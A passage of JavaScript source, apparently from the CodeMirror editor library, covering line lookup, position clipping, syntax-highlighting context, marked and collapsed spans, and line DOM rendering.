    return oracle && oracle.baseToken(this.pos)
  };

  // Find the line object corresponding to the given line number.
  function getLine(doc, n) {
    n -= doc.first;
    if (n < 0 || n >= doc.size) { throw new Error("There is no line " + (n + doc.first) + " in the document.") }
    var chunk = doc;
    while (!chunk.lines) {
      for (var i = 0;; ++i) {
        var child = chunk.children[i], sz = child.chunkSize();
        if (n < sz) { chunk = child; break }
        n -= sz;
      }
    }
    return chunk.lines[n]
  }

  // Get the part of a document between two positions, as an array of
  // strings.
  function getBetween(doc, start, end) {
    var out = [], n = start.line;
    doc.iter(start.line, end.line + 1, function (line) {
      var text = line.text;
      if (n == end.line) { text = text.slice(0, end.ch); }
      if (n == start.line) { text = text.slice(start.ch); }
      out.push(text);
      ++n;
    });
    return out
  }
  // Get the lines between from and to, as array of strings.
  function getLines(doc, from, to) {
    var out = [];
    doc.iter(from, to, function (line) { out.push(line.text); }); // iter aborts when callback returns truthy value
    return out
  }

  // Update the height of a line, propagating the height change
  // upwards to parent nodes.
  function updateLineHeight(line, height) {
    var diff = height - line.height;
    if (diff) { for (var n = line; n; n = n.parent) { n.height += diff; } }
  }

  // Given a line object, find its line number by walking up through
  // its parent links.
  function lineNo(line) {
    if (line.parent == null) { return null }
    var cur = line.parent, no = indexOf(cur.lines, line);
    for (var chunk = cur.parent; chunk; cur = chunk, chunk = chunk.parent) {
      for (var i = 0;; ++i) {
        if (chunk.children[i] == cur) { break }
        no += chunk.children[i].chunkSize();
      }
    }
    return no + cur.first
  }

  // Find the line at the given vertical position, using the height
  // information in the document tree.
  function lineAtHeight(chunk, h) {
    var n = chunk.first;
    outer: do {
      for (var i$1 = 0; i$1 < chunk.children.length; ++i$1) {
        var child = chunk.children[i$1], ch = child.height;
        if (h < ch) { chunk = child; continue outer }
        h -= ch;
        n += child.chunkSize();
      }
      return n
    } while (!chunk.lines)
    var i = 0;
    for (; i < chunk.lines.length; ++i) {
      var line = chunk.lines[i], lh = line.height;
      if (h < lh) { break }
      h -= lh;
    }
    return n + i
  }

  function isLine(doc, l) {return l >= doc.first && l < doc.first + doc.size}

  function lineNumberFor(options, i) {
    return String(options.lineNumberFormatter(i + options.firstLineNumber))
  }

  // A Pos instance represents a position within the text.
  function Pos(line, ch, sticky) {
    if ( sticky === void 0 ) sticky = null;

    if (!(this instanceof Pos)) { return new Pos(line, ch, sticky) }
    this.line = line;
    this.ch = ch;
    this.sticky = sticky;
  }

  // Compare two positions, return 0 if they are the same, a negative
  // number when a is less, and a positive number otherwise.
  function cmp(a, b) { return a.line - b.line || a.ch - b.ch }

  function equalCursorPos(a, b) { return a.sticky == b.sticky && cmp(a, b) == 0 }

  function copyPos(x) {return Pos(x.line, x.ch)}
  function maxPos(a, b) { return cmp(a, b) < 0 ? b : a }
  function minPos(a, b) { return cmp(a, b) < 0 ? a : b }

  // Most of the external API clips given positions to make sure they
  // actually exist within the document.
  function clipLine(doc, n) {return Math.max(doc.first, Math.min(n, doc.first + doc.size - 1))}
  function clipPos(doc, pos) {
    if (pos.line < doc.first) { return Pos(doc.first, 0) }
    var last = doc.first + doc.size - 1;
    if (pos.line > last) { return Pos(last, getLine(doc, last).text.length) }
    return clipToLen(pos, getLine(doc, pos.line).text.length)
  }
  function clipToLen(pos, linelen) {
    var ch = pos.ch;
    if (ch == null || ch > linelen) { return Pos(pos.line, linelen) }
    else if (ch < 0) { return Pos(pos.line, 0) }
    else { return pos }
  }
  function clipPosArray(doc, array) {
    var out = [];
    for (var i = 0; i < array.length; i++) { out[i] = clipPos(doc, array[i]); }
    return out
  }

  var SavedContext = function(state, lookAhead) {
    this.state = state;
    this.lookAhead = lookAhead;
  };

  var Context = function(doc, state, line, lookAhead) {
    this.state = state;
    this.doc = doc;
    this.line = line;
    this.maxLookAhead = lookAhead || 0;
    this.baseTokens = null;
    this.baseTokenPos = 1;
  };

  Context.prototype.lookAhead = function (n) {
    var line = this.doc.getLine(this.line + n);
    if (line != null && n > this.maxLookAhead) { this.maxLookAhead = n; }
    return line
  };

  Context.prototype.baseToken = function (n) {
    if (!this.baseTokens) { return null }
    while (this.baseTokens[this.baseTokenPos] <= n)
      { this.baseTokenPos += 2; }
    var type = this.baseTokens[this.baseTokenPos + 1];
    return {type: type && type.replace(/( |^)overlay .*/, ""),
            size: this.baseTokens[this.baseTokenPos] - n}
  };

  Context.prototype.nextLine = function () {
    this.line++;
    if (this.maxLookAhead > 0) { this.maxLookAhead--; }
  };

  Context.fromSaved = function (doc, saved, line) {
    if (saved instanceof SavedContext)
      { return new Context(doc, copyState(doc.mode, saved.state), line, saved.lookAhead) }
    else
      { return new Context(doc, copyState(doc.mode, saved), line) }
  };

  Context.prototype.save = function (copy) {
    var state = copy !== false ? copyState(this.doc.mode, this.state) : this.state;
    return this.maxLookAhead > 0 ? new SavedContext(state, this.maxLookAhead) : state
  };


  // Compute a style array (an array starting with a mode generation
  // -- for invalidation -- followed by pairs of end positions and
  // style strings), which is used to highlight the tokens on the
  // line.
  function highlightLine(cm, line, context, forceToEnd) {
    // A styles array always starts with a number identifying the
    // mode/overlays that it is based on (for easy invalidation).
    var st = [cm.state.modeGen], lineClasses = {};
    // Compute the base array of styles
    runMode(cm, line.text, cm.doc.mode, context, function (end, style) { return st.push(end, style); },
            lineClasses, forceToEnd);
    var state = context.state;

    // Run overlays, adjust style array.
    var loop = function ( o ) {
      context.baseTokens = st;
      var overlay = cm.state.overlays[o], i = 1, at = 0;
      context.state = true;
      runMode(cm, line.text, overlay.mode, context, function (end, style) {
        var start = i;
        // Ensure there's a token end at the current position, and that i points at it
        while (at < end) {
          var i_end = st[i];
          if (i_end > end)
            { st.splice(i, 1, end, st[i+1], i_end); }
          i += 2;
          at = Math.min(end, i_end);
        }
        if (!style) { return }
        if (overlay.opaque) {
          st.splice(start, i - start, end, "overlay " + style);
          i = start + 2;
        } else {
          for (; start < i; start += 2) {
            var cur = st[start+1];
            st[start+1] = (cur ? cur + " " : "") + "overlay " + style;
          }
        }
      }, lineClasses);
      context.state = state;
      context.baseTokens = null;
      context.baseTokenPos = 1;
    };

    for (var o = 0; o < cm.state.overlays.length; ++o) loop( o );

    return {styles: st, classes: lineClasses.bgClass || lineClasses.textClass ? lineClasses : null}
  }

  function getLineStyles(cm, line, updateFrontier) {
    if (!line.styles || line.styles[0] != cm.state.modeGen) {
      var context = getContextBefore(cm, lineNo(line));
      var resetState = line.text.length > cm.options.maxHighlightLength && copyState(cm.doc.mode, context.state);
      var result = highlightLine(cm, line, context);
      if (resetState) { context.state = resetState; }
      line.stateAfter = context.save(!resetState);
      line.styles = result.styles;
      if (result.classes) { line.styleClasses = result.classes; }
      else if (line.styleClasses) { line.styleClasses = null; }
      if (updateFrontier === cm.doc.highlightFrontier)
        { cm.doc.modeFrontier = Math.max(cm.doc.modeFrontier, ++cm.doc.highlightFrontier); }
    }
    return line.styles
  }

  function getContextBefore(cm, n, precise) {
    var doc = cm.doc, display = cm.display;
    if (!doc.mode.startState) { return new Context(doc, true, n) }
    var start = findStartLine(cm, n, precise);
    var saved = start > doc.first && getLine(doc, start - 1).stateAfter;
    var context = saved ? Context.fromSaved(doc, saved, start) : new Context(doc, startState(doc.mode), start);

    doc.iter(start, n, function (line) {
      processLine(cm, line.text, context);
      var pos = context.line;
      line.stateAfter = pos == n - 1 || pos % 5 == 0 || pos >= display.viewFrom && pos < display.viewTo ? context.save() : null;
      context.nextLine();
    });
    if (precise) { doc.modeFrontier = context.line; }
    return context
  }

  // Lightweight form of highlight -- proceed over this line and
  // update state, but don't save a style array. Used for lines that
  // aren't currently visible.
  function processLine(cm, text, context, startAt) {
    var mode = cm.doc.mode;
    var stream = new StringStream(text, cm.options.tabSize, context);
    stream.start = stream.pos = startAt || 0;
    if (text == "") { callBlankLine(mode, context.state); }
    while (!stream.eol()) {
      readToken(mode, stream, context.state);
      stream.start = stream.pos;
    }
  }

  function callBlankLine(mode, state) {
    if (mode.blankLine) { return mode.blankLine(state) }
    if (!mode.innerMode) { return }
    var inner = innerMode(mode, state);
    if (inner.mode.blankLine) { return inner.mode.blankLine(inner.state) }
  }

  function readToken(mode, stream, state, inner) {
    for (var i = 0; i < 10; i++) {
      if (inner) { inner[0] = innerMode(mode, state).mode; }
      var style = mode.token(stream, state);
      if (stream.pos > stream.start) { return style }
    }
    throw new Error("Mode " + mode.name + " failed to advance stream.")
  }

  var Token = function(stream, type, state) {
    this.start = stream.start; this.end = stream.pos;
    this.string = stream.current();
    this.type = type || null;
    this.state = state;
  };

  // Utility for getTokenAt and getLineTokens
  function takeToken(cm, pos, precise, asArray) {
    var doc = cm.doc, mode = doc.mode, style;
    pos = clipPos(doc, pos);
    var line = getLine(doc, pos.line), context = getContextBefore(cm, pos.line, precise);
    var stream = new StringStream(line.text, cm.options.tabSize, context), tokens;
    if (asArray) { tokens = []; }
    while ((asArray || stream.pos < pos.ch) && !stream.eol()) {
      stream.start = stream.pos;
      style = readToken(mode, stream, context.state);
      if (asArray) { tokens.push(new Token(stream, style, copyState(doc.mode, context.state))); }
    }
    return asArray ? tokens : new Token(stream, style, context.state)
  }

  function extractLineClasses(type, output) {
    if (type) { for (;;) {
      var lineClass = type.match(/(?:^|\s+)line-(background-)?(\S+)/);
      if (!lineClass) { break }
      type = type.slice(0, lineClass.index) + type.slice(lineClass.index + lineClass[0].length);
      var prop = lineClass[1] ? "bgClass" : "textClass";
      if (output[prop] == null)
        { output[prop] = lineClass[2]; }
      else if (!(new RegExp("(?:^|\\s)" + lineClass[2] + "(?:$|\\s)")).test(output[prop]))
        { output[prop] += " " + lineClass[2]; }
    } }
    return type
  }

  // Run the given mode's parser over a line, calling f for each token.
  function runMode(cm, text, mode, context, f, lineClasses, forceToEnd) {
    var flattenSpans = mode.flattenSpans;
    if (flattenSpans == null) { flattenSpans = cm.options.flattenSpans; }
    var curStart = 0, curStyle = null;
    var stream = new StringStream(text, cm.options.tabSize, context), style;
    var inner = cm.options.addModeClass && [null];
    if (text == "") { extractLineClasses(callBlankLine(mode, context.state), lineClasses); }
    while (!stream.eol()) {
      if (stream.pos > cm.options.maxHighlightLength) {
        flattenSpans = false;
        if (forceToEnd) { processLine(cm, text, context, stream.pos); }
        stream.pos = text.length;
        style = null;
      } else {
        style = extractLineClasses(readToken(mode, stream, context.state, inner), lineClasses);
      }
      if (inner) {
        var mName = inner[0].name;
        if (mName) { style = "m-" + (style ? mName + " " + style : mName); }
      }
      if (!flattenSpans || curStyle != style) {
        while (curStart < stream.start) {
          curStart = Math.min(stream.start, curStart + 5000);
          f(curStart, curStyle);
        }
        curStyle = style;
      }
      stream.start = stream.pos;
    }
    while (curStart < stream.pos) {
      // Webkit seems to refuse to render text nodes longer than 57444
      // characters, and returns inaccurate measurements in nodes
      // starting around 5000 chars.
      var pos = Math.min(stream.pos, curStart + 5000);
      f(pos, curStyle);
      curStart = pos;
    }
  }

  // Finds the line to start with when starting a parse. Tries to
  // find a line with a stateAfter, so that it can start with a
  // valid state. If that fails, it returns the line with the
  // smallest indentation, which tends to need the least context to
  // parse correctly.
  function findStartLine(cm, n, precise) {
    var minindent, minline, doc = cm.doc;
    var lim = precise ? -1 : n - (cm.doc.mode.innerMode ? 1000 : 100);
    for (var search = n; search > lim; --search) {
      if (search <= doc.first) { return doc.first }
      var line = getLine(doc, search - 1), after = line.stateAfter;
      if (after && (!precise || search + (after instanceof SavedContext ? after.lookAhead : 0) <= doc.modeFrontier))
        { return search }
      var indented = countColumn(line.text, null, cm.options.tabSize);
      if (minline == null || minindent > indented) {
        minline = search - 1;
        minindent = indented;
      }
    }
    return minline
  }

  function retreatFrontier(doc, n) {
    doc.modeFrontier = Math.min(doc.modeFrontier, n);
    if (doc.highlightFrontier < n - 10) { return }
    var start = doc.first;
    for (var line = n - 1; line > start; line--) {
      var saved = getLine(doc, line).stateAfter;
      // change is on 3
      // state on line 1 looked ahead 2 -- so saw 3
      // test 1 + 2 < 3 should cover this
      if (saved && (!(saved instanceof SavedContext) || line + saved.lookAhead < n)) {
        start = line + 1;
        break
      }
    }
    doc.highlightFrontier = Math.min(doc.highlightFrontier, start);
  }

  // Optimize some code when these features are not used.
  var sawReadOnlySpans = false, sawCollapsedSpans = false;

  function seeReadOnlySpans() {
    sawReadOnlySpans = true;
  }

  function seeCollapsedSpans() {
    sawCollapsedSpans = true;
  }

  // TEXTMARKER SPANS

  function MarkedSpan(marker, from, to) {
    this.marker = marker;
    this.from = from; this.to = to;
  }

  // Search an array of spans for a span matching the given marker.
  function getMarkedSpanFor(spans, marker) {
    if (spans) { for (var i = 0; i < spans.length; ++i) {
      var span = spans[i];
      if (span.marker == marker) { return span }
    } }
  }
  // Remove a span from an array, returning undefined if no spans are
  // left (we don't store arrays for lines without spans).
  function removeMarkedSpan(spans, span) {
    var r;
    for (var i = 0; i < spans.length; ++i)
      { if (spans[i] != span) { (r || (r = [])).push(spans[i]); } }
    return r
  }
  // Add a span to a line.
  function addMarkedSpan(line, span) {
    line.markedSpans = line.markedSpans ? line.markedSpans.concat([span]) : [span];
    span.marker.attachLine(line);
  }

  // Used for the algorithm that adjusts markers for a change in the
  // document. These functions cut an array of spans at a given
  // character position, returning an array of remaining chunks (or
  // undefined if nothing remains).
  function markedSpansBefore(old, startCh, isInsert) {
    var nw;
    if (old) { for (var i = 0; i < old.length; ++i) {
      var span = old[i], marker = span.marker;
      var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= startCh : span.from < startCh);
      if (startsBefore || span.from == startCh && marker.type == "bookmark" && (!isInsert || !span.marker.insertLeft)) {
        var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= startCh : span.to > startCh)
        ;(nw || (nw = [])).push(new MarkedSpan(marker, span.from, endsAfter ? null : span.to));
      }
    } }
    return nw
  }
  function markedSpansAfter(old, endCh, isInsert) {
    var nw;
    if (old) { for (var i = 0; i < old.length; ++i) {
      var span = old[i], marker = span.marker;
      var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= endCh : span.to > endCh);
      if (endsAfter || span.from == endCh && marker.type == "bookmark" && (!isInsert || span.marker.insertLeft)) {
        var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= endCh : span.from < endCh)
        ;(nw || (nw = [])).push(new MarkedSpan(marker, startsBefore ? null : span.from - endCh,
                                              span.to == null ? null : span.to - endCh));
      }
    } }
    return nw
  }

  // Given a change object, compute the new set of marker spans that
  // cover the line in which the change took place. Removes spans
  // entirely within the change, reconnects spans belonging to the
  // same marker that appear on both sides of the change, and cuts off
  // spans partially within the change. Returns an array of span
  // arrays with one element for each line in (after) the change.
  function stretchSpansOverChange(doc, change) {
    if (change.full) { return null }
    var oldFirst = isLine(doc, change.from.line) && getLine(doc, change.from.line).markedSpans;
    var oldLast = isLine(doc, change.to.line) && getLine(doc, change.to.line).markedSpans;
    if (!oldFirst && !oldLast) { return null }

    var startCh = change.from.ch, endCh = change.to.ch, isInsert = cmp(change.from, change.to) == 0;
    // Get the spans that 'stick out' on both sides
    var first = markedSpansBefore(oldFirst, startCh, isInsert);
    var last = markedSpansAfter(oldLast, endCh, isInsert);

    // Next, merge those two ends
    var sameLine = change.text.length == 1, offset = lst(change.text).length + (sameLine ? startCh : 0);
    if (first) {
      // Fix up .to properties of first
      for (var i = 0; i < first.length; ++i) {
        var span = first[i];
        if (span.to == null) {
          var found = getMarkedSpanFor(last, span.marker);
          if (!found) { span.to = startCh; }
          else if (sameLine) { span.to = found.to == null ? null : found.to + offset; }
        }
      }
    }
    if (last) {
      // Fix up .from in last (or move them into first in case of sameLine)
      for (var i$1 = 0; i$1 < last.length; ++i$1) {
        var span$1 = last[i$1];
        if (span$1.to != null) { span$1.to += offset; }
        if (span$1.from == null) {
          var found$1 = getMarkedSpanFor(first, span$1.marker);
          if (!found$1) {
            span$1.from = offset;
            if (sameLine) { (first || (first = [])).push(span$1); }
          }
        } else {
          span$1.from += offset;
          if (sameLine) { (first || (first = [])).push(span$1); }
        }
      }
    }
    // Make sure we didn't create any zero-length spans
    if (first) { first = clearEmptySpans(first); }
    if (last && last != first) { last = clearEmptySpans(last); }

    var newMarkers = [first];
    if (!sameLine) {
      // Fill gap with whole-line-spans
      var gap = change.text.length - 2, gapMarkers;
      if (gap > 0 && first)
        { for (var i$2 = 0; i$2 < first.length; ++i$2)
          { if (first[i$2].to == null)
            { (gapMarkers || (gapMarkers = [])).push(new MarkedSpan(first[i$2].marker, null, null)); } } }
      for (var i$3 = 0; i$3 < gap; ++i$3)
        { newMarkers.push(gapMarkers); }
      newMarkers.push(last);
    }
    return newMarkers
  }

  // Remove spans that are empty and don't have a clearWhenEmpty
  // option of false.
  function clearEmptySpans(spans) {
    for (var i = 0; i < spans.length; ++i) {
      var span = spans[i];
      if (span.from != null && span.from == span.to && span.marker.clearWhenEmpty !== false)
        { spans.splice(i--, 1); }
    }
    if (!spans.length) { return null }
    return spans
  }

  // Used to 'clip' out readOnly ranges when making a change.
  function removeReadOnlyRanges(doc, from, to) {
    var markers = null;
    doc.iter(from.line, to.line + 1, function (line) {
      if (line.markedSpans) { for (var i = 0; i < line.markedSpans.length; ++i) {
        var mark = line.markedSpans[i].marker;
        if (mark.readOnly && (!markers || indexOf(markers, mark) == -1))
          { (markers || (markers = [])).push(mark); }
      } }
    });
    if (!markers) { return null }
    var parts = [{from: from, to: to}];
    for (var i = 0; i < markers.length; ++i) {
      var mk = markers[i], m = mk.find(0);
      for (var j = 0; j < parts.length; ++j) {
        var p = parts[j];
        if (cmp(p.to, m.from) < 0 || cmp(p.from, m.to) > 0) { continue }
        var newParts = [j, 1], dfrom = cmp(p.from, m.from), dto = cmp(p.to, m.to);
        if (dfrom < 0 || !mk.inclusiveLeft && !dfrom)
          { newParts.push({from: p.from, to: m.from}); }
        if (dto > 0 || !mk.inclusiveRight && !dto)
          { newParts.push({from: m.to, to: p.to}); }
        parts.splice.apply(parts, newParts);
        j += newParts.length - 3;
      }
    }
    return parts
  }

  // Connect or disconnect spans from a line.
  function detachMarkedSpans(line) {
    var spans = line.markedSpans;
    if (!spans) { return }
    for (var i = 0; i < spans.length; ++i)
      { spans[i].marker.detachLine(line); }
    line.markedSpans = null;
  }
  function attachMarkedSpans(line, spans) {
    if (!spans) { return }
    for (var i = 0; i < spans.length; ++i)
      { spans[i].marker.attachLine(line); }
    line.markedSpans = spans;
  }

  // Helpers used when computing which overlapping collapsed span
  // counts as the larger one.
  function extraLeft(marker) { return marker.inclusiveLeft ? -1 : 0 }
  function extraRight(marker) { return marker.inclusiveRight ? 1 : 0 }

  // Returns a number indicating which of two overlapping collapsed
  // spans is larger (and thus includes the other). Falls back to
  // comparing ids when the spans cover exactly the same range.
  function compareCollapsedMarkers(a, b) {
    var lenDiff = a.lines.length - b.lines.length;
    if (lenDiff != 0) { return lenDiff }
    var aPos = a.find(), bPos = b.find();
    var fromCmp = cmp(aPos.from, bPos.from) || extraLeft(a) - extraLeft(b);
    if (fromCmp) { return -fromCmp }
    var toCmp = cmp(aPos.to, bPos.to) || extraRight(a) - extraRight(b);
    if (toCmp) { return toCmp }
    return b.id - a.id
  }

  // Find out whether a line ends or starts in a collapsed span. If
  // so, return the marker for that span.
  function collapsedSpanAtSide(line, start) {
    var sps = sawCollapsedSpans && line.markedSpans, found;
    if (sps) { for (var sp = (void 0), i = 0; i < sps.length; ++i) {
      sp = sps[i];
      if (sp.marker.collapsed && (start ? sp.from : sp.to) == null &&
          (!found || compareCollapsedMarkers(found, sp.marker) < 0))
        { found = sp.marker; }
    } }
    return found
  }
  function collapsedSpanAtStart(line) { return collapsedSpanAtSide(line, true) }
  function collapsedSpanAtEnd(line) { return collapsedSpanAtSide(line, false) }

  function collapsedSpanAround(line, ch) {
    var sps = sawCollapsedSpans && line.markedSpans, found;
    if (sps) { for (var i = 0; i < sps.length; ++i) {
      var sp = sps[i];
      if (sp.marker.collapsed && (sp.from == null || sp.from < ch) && (sp.to == null || sp.to > ch) &&
          (!found || compareCollapsedMarkers(found, sp.marker) < 0)) { found = sp.marker; }
    } }
    return found
  }

  // Test whether there exists a collapsed span that partially
  // overlaps (covers the start or end, but not both) of a new span.
  // Such overlap is not allowed.
  function conflictingCollapsedRange(doc, lineNo, from, to, marker) {
    var line = getLine(doc, lineNo);
    var sps = sawCollapsedSpans && line.markedSpans;
    if (sps) { for (var i = 0; i < sps.length; ++i) {
      var sp = sps[i];
      if (!sp.marker.collapsed) { continue }
      var found = sp.marker.find(0);
      var fromCmp = cmp(found.from, from) || extraLeft(sp.marker) - extraLeft(marker);
      var toCmp = cmp(found.to, to) || extraRight(sp.marker) - extraRight(marker);
      if (fromCmp >= 0 && toCmp <= 0 || fromCmp <= 0 && toCmp >= 0) { continue }
      if (fromCmp <= 0 && (sp.marker.inclusiveRight && marker.inclusiveLeft ? cmp(found.to, from) >= 0 : cmp(found.to, from) > 0) ||
          fromCmp >= 0 && (sp.marker.inclusiveRight && marker.inclusiveLeft ? cmp(found.from, to) <= 0 : cmp(found.from, to) < 0))
        { return true }
    } }
  }

  // A visual line is a line as drawn on the screen. Folding, for
  // example, can cause multiple logical lines to appear on the same
  // visual line. This finds the start of the visual line that the
  // given line is part of (usually that is the line itself).
  function visualLine(line) {
    var merged;
    while (merged = collapsedSpanAtStart(line))
      { line = merged.find(-1, true).line; }
    return line
  }

  function visualLineEnd(line) {
    var merged;
    while (merged = collapsedSpanAtEnd(line))
      { line = merged.find(1, true).line; }
    return line
  }

  // Returns an array of logical lines that continue the visual line
  // started by the argument, or undefined if there are no such lines.
  function visualLineContinued(line) {
    var merged, lines;
    while (merged = collapsedSpanAtEnd(line)) {
      line = merged.find(1, true).line
      ;(lines || (lines = [])).push(line);
    }
    return lines
  }

  // Get the line number of the start of the visual line that the
  // given line number is part of.
  function visualLineNo(doc, lineN) {
    var line = getLine(doc, lineN), vis = visualLine(line);
    if (line == vis) { return lineN }
    return lineNo(vis)
  }

  // Get the line number of the start of the next visual line after
  // the given line.
  function visualLineEndNo(doc, lineN) {
    if (lineN > doc.lastLine()) { return lineN }
    var line = getLine(doc, lineN), merged;
    if (!lineIsHidden(doc, line)) { return lineN }
    while (merged = collapsedSpanAtEnd(line))
      { line = merged.find(1, true).line; }
    return lineNo(line) + 1
  }

  // Compute whether a line is hidden. Lines count as hidden when they
  // are part of a visual line that starts with another line, or when
  // they are entirely covered by collapsed, non-widget span.
  function lineIsHidden(doc, line) {
    var sps = sawCollapsedSpans && line.markedSpans;
    if (sps) { for (var sp = (void 0), i = 0; i < sps.length; ++i) {
      sp = sps[i];
      if (!sp.marker.collapsed) { continue }
      if (sp.from == null) { return true }
      if (sp.marker.widgetNode) { continue }
      if (sp.from == 0 && sp.marker.inclusiveLeft && lineIsHiddenInner(doc, line, sp))
        { return true }
    } }
  }
  function lineIsHiddenInner(doc, line, span) {
    if (span.to == null) {
      var end = span.marker.find(1, true);
      return lineIsHiddenInner(doc, end.line, getMarkedSpanFor(end.line.markedSpans, span.marker))
    }
    if (span.marker.inclusiveRight && span.to == line.text.length)
      { return true }
    for (var sp = (void 0), i = 0; i < line.markedSpans.length; ++i) {
      sp = line.markedSpans[i];
      if (sp.marker.collapsed && !sp.marker.widgetNode && sp.from == span.to &&
          (sp.to == null || sp.to != span.from) &&
          (sp.marker.inclusiveLeft || span.marker.inclusiveRight) &&
          lineIsHiddenInner(doc, line, sp)) { return true }
    }
  }

  // Find the height above the given line.
  function heightAtLine(lineObj) {
    lineObj = visualLine(lineObj);

    var h = 0, chunk = lineObj.parent;
    for (var i = 0; i < chunk.lines.length; ++i) {
      var line = chunk.lines[i];
      if (line == lineObj) { break }
      else { h += line.height; }
    }
    for (var p = chunk.parent; p; chunk = p, p = chunk.parent) {
      for (var i$1 = 0; i$1 < p.children.length; ++i$1) {
        var cur = p.children[i$1];
        if (cur == chunk) { break }
        else { h += cur.height; }
      }
    }
    return h
  }

  // Compute the character length of a line, taking into account
  // collapsed ranges (see markText) that might hide parts, and join
  // other lines onto it.
  function lineLength(line) {
    if (line.height == 0) { return 0 }
    var len = line.text.length, merged, cur = line;
    while (merged = collapsedSpanAtStart(cur)) {
      var found = merged.find(0, true);
      cur = found.from.line;
      len += found.from.ch - found.to.ch;
    }
    cur = line;
    while (merged = collapsedSpanAtEnd(cur)) {
      var found$1 = merged.find(0, true);
      len -= cur.text.length - found$1.from.ch;
      cur = found$1.to.line;
      len += cur.text.length - found$1.to.ch;
    }
    return len
  }

  // Find the longest line in the document.
  function findMaxLine(cm) {
    var d = cm.display, doc = cm.doc;
    d.maxLine = getLine(doc, doc.first);
    d.maxLineLength = lineLength(d.maxLine);
    d.maxLineChanged = true;
    doc.iter(function (line) {
      var len = lineLength(line);
      if (len > d.maxLineLength) {
        d.maxLineLength = len;
        d.maxLine = line;
      }
    });
  }

  // LINE DATA STRUCTURE

  // Line objects. These hold state related to a line, including
  // highlighting info (the styles array).
  var Line = function(text, markedSpans, estimateHeight) {
    this.text = text;
    attachMarkedSpans(this, markedSpans);
    this.height = estimateHeight ? estimateHeight(this) : 1;
  };

  Line.prototype.lineNo = function () { return lineNo(this) };
  eventMixin(Line);

  // Change the content (text, markers) of a line. Automatically
  // invalidates cached information and tries to re-estimate the
  // line's height.
  function updateLine(line, text, markedSpans, estimateHeight) {
    line.text = text;
    if (line.stateAfter) { line.stateAfter = null; }
    if (line.styles) { line.styles = null; }
    if (line.order != null) { line.order = null; }
    detachMarkedSpans(line);
    attachMarkedSpans(line, markedSpans);
    var estHeight = estimateHeight ? estimateHeight(line) : 1;
    if (estHeight != line.height) { updateLineHeight(line, estHeight); }
  }

  // Detach a line from the document tree and its markers.
  function cleanUpLine(line) {
    line.parent = null;
    detachMarkedSpans(line);
  }

  // Convert a style as returned by a mode (either null, or a string
  // containing one or more styles) to a CSS style. This is cached,
  // and also looks for line-wide styles.
  var styleToClassCache = {}, styleToClassCacheWithMode = {};
  function interpretTokenStyle(style, options) {
    if (!style || /^\s*$/.test(style)) { return null }
    var cache = options.addModeClass ? styleToClassCacheWithMode : styleToClassCache;
    return cache[style] ||
      (cache[style] = style.replace(/\S+/g, "cm-$&"))
  }

  // Render the DOM representation of the text of a line. Also builds
  // up a 'line map', which points at the DOM nodes that represent
  // specific stretches of text, and is used by the measuring code.
  // The returned object contains the DOM node, this map, and
  // information about line-wide styles that were set by the mode.
  function buildLineContent(cm, lineView) {
    // The padding-right forces the element to have a 'border', which
    // is needed on Webkit to be able to get line-level bounding
    // rectangles for it (in measureChar).
    var content = eltP("span", null, null, webkit ? "padding-right: .1px" : null);
    var builder = {pre: eltP("pre", [content], "CodeMirror-line"), content: content,
                   col: 0, pos: 0, cm: cm,
                   trailingSpace: false,
                   splitSpaces: cm.getOption("lineWrapping")};
    lineView.measure = {};

    // Iterate over the logical lines that make up this visual line.
    for (var i = 0; i <= (lineView.rest ? lineView.rest.length : 0); i++) {
      var line = i ? lineView.rest[i - 1] : lineView.line, order = (void 0);
      builder.pos = 0;
      builder.addToken = buildToken;
      // Optionally wire in some hacks into the token-rendering
      // algorithm, to deal with browser quirks.
      if (hasBadBidiRects(cm.display.measure) && (order = getOrder(line, cm.doc.direction)))
        { builder.addToken = buildTokenBadBidi(builder.addToken, order); }
      builder.map = [];
      var allowFrontierUpdate = lineView != cm.display.externalMeasured && lineNo(line);
      insertLineContent(line, builder, getLineStyles(cm, line, allowFrontierUpdate));
      if (line.styleClasses) {
        if (line.styleClasses.bgClass)
          { builder.bgClass = joinClasses(line.styleClasses.bgClass, builder.bgClass || ""); }
        if (line.styleClasses.textClass)
          { builder.textClass = joinClasses(line.styleClasses.textClass, builder.textClass || ""); }
      }

      // Ensure at least a single node is present, for measuring.
      if (builder.map.length == 0)
        { builder.map.push(0, 0, builder.content.appendChild(zeroWidthElement(cm.display.measure))); }

      // Store the map and a cache object for the current logical line
      if (i == 0) {
        lineView.measure.map = builder.map;
        lineView.measure.cache = {};
      } else {
  (lineView.measure.maps || (lineView.measure.maps = [])).push(builder.map)
        ;(lineView.measure.caches || (lineView.measure.caches = [])).push({});
      }
    }

    // See issue #2901
    if (webkit) {
      var last = builder.content.lastChild;
      if (/\bcm-tab\b/.test(last.className) || (last.querySelector && last.querySelector(".cm-tab")))
        { builder.content.className = "cm-tab-wrap-hack"; }
    }

    signal(cm, "renderLine", cm, lineView.line, builder.pre);
    if (builder.pre.className)
      { builder.textClass = joinClasses(builder.pre.className, builder.textClass || ""); }

    return builder
  }

  function defaultSpecialCharPlaceholder(ch) {
    var token = elt("span", "\u2022", "cm-invalidchar");
    token.title = "\\u" + ch.charCodeAt(0).toString(16);
    token.setAttribute("aria-label", token.title);
    return token
  }

  // Build up the DOM representation for a single token, and add it to
  // the line map. Takes care to render special characters separately.
  function buildToken(builder, text, style, startStyle, endStyle, css, attributes) {
    if (!text) { return }
    var displayText = builder.splitSpaces ? splitSpaces(text, builder.trailingSpace) : text;
    var special = builder.cm.state.specialChars, mustWrap = false;
    var content;
    if (!special.test(text)) {
      builder.col += text.length;
      content = document.createTextNode(displayText);
      builder.map.push(builder.pos, builder.pos + text.length, content);
      if (ie && ie_version < 9) { mustWrap = true; }
      builder.pos += text.length;
    } else {
      content = document.createDocumentFragment();
      var pos = 0;
      while (true) {
        special.lastIndex = pos;
        var m = special.exec(text);
        var skipped = m ? m.index - pos : text.length - pos;
        if (skipped) {
          var txt = document.createTextNode(displayText.slice(pos, pos + skipped));
          if (ie && ie_version < 9) { content.appendChild(elt("span", [txt])); }
          else { content.appendChild(txt); }
          builder.map.push(builder.pos, builder.pos + skipped, txt);
          builder.col += skipped;
          builder.pos += skipped;
        }
        if (!m) { break }
        pos += skipped + 1;
        var txt$1 = (void 0);
        if (m[0] == "\t") {
          var tabSize = builder.cm.options.tabSize, tabWidth = tabSize - builder.col % tabSize;
